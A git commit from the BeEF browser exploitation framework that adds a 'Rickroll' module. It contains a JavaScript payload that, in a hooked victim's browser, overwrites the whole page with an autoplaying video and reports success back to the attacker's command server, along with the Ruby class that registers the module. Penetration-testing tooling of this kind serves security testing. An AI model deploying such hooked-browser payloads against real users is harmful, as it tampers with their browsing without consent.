initial commit of rickroll module

git-svn-id: https://beef.googlecode.com/svn/trunk@667 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
yori.kvitchko
2011-01-05 00:28:13 +00:00
parent 50ea03a74f
commit de1e89a840
2 changed files with 48 additions and 0 deletions

View File

@@ -0,0 +1,5 @@
beef.execute(function() {
document.body.innerHTML = '<object width="100%" height="100%"><param name="movie" value="http://www.youtube.com/v/dQw4w9WgXcQ?fs=1&amp;hl=en_US&amp;autoplay=1"><param name="allowFullScreen" value="true"><param name="allowscriptaccess" value="always"><embed src="http://www.youtube.com/v/dQw4w9WgXcQ?fs=1&amp;hl=en_US&amp;autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="100%" height="100%"></object>';
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Succesfull");
});

View File

@@ -0,0 +1,43 @@
module BeEF
module Modules
module Commands
class Rickroll < BeEF::Command
#
# Defines and set up the command module.
#
def initialize
super({
'Name' => 'Rickroll',
'Description' => 'Overwrite the body of the page the victim is on with a full screen Rickroll.',
'Category' => 'Misc',
'Author' => 'Yori Kvitchko',
'Data' =>
[
],
'File' => __FILE__
})
set_target({
'verified_status' => VERIFIED_USER_NOTIFY,
'browser_name' => ALL
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Result'] = @datastore['result']
save content
end
end
end
end
end